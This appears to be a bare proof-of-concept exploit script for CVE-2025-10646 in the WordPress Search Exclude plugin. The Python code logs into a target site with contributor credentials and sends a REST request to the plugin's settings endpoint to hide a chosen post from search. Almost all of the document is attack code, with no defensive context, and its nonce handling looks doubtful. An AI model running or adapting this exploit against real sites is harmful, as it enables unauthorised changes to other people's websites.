CVE-2025-10646

# CVE-2025-10646 PoC - WordPress Search Exclude Plugin Privilege Escalation # Authentication required: Contributor-level access or higher import requests import json target_url = "http://target-wordpress-site.com" username = "attacker_account" password = "attacker_password" post_id_to_exclude = 123 # Target post ID to exclude from search # Step 1: Authenticate and get WordPress nonces/cookies session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Exploit the vulnerability via REST API # The plugin's Base::get_rest_permission() method lacks proper capability check exploit_url = f"{target_url}/wp-json/search-exclude/v1/settings" # Prepare payload to add post to search exclusion list exploit_payload = { "search_exclude": [str(post_id_to_exclude)], "search_exclude_search": "1" } # Send the exploit request headers = { "Content-Type": "application/json", "X-WP-Nonce": session.cookies.get_dict().get('wordpress_test_cookie', '') } response = session.post(exploit_url, json=exploit_payload, headers=headers) if response.status_code == 200: print(f"[+] Successfully excluded post ID {post_id_to_exclude} from search") print(f"[+] Response: {response.json()}") else: print(f"[-] Exploit failed with status code: {response.status_code}") print(f"[-] Response: {response.text}")

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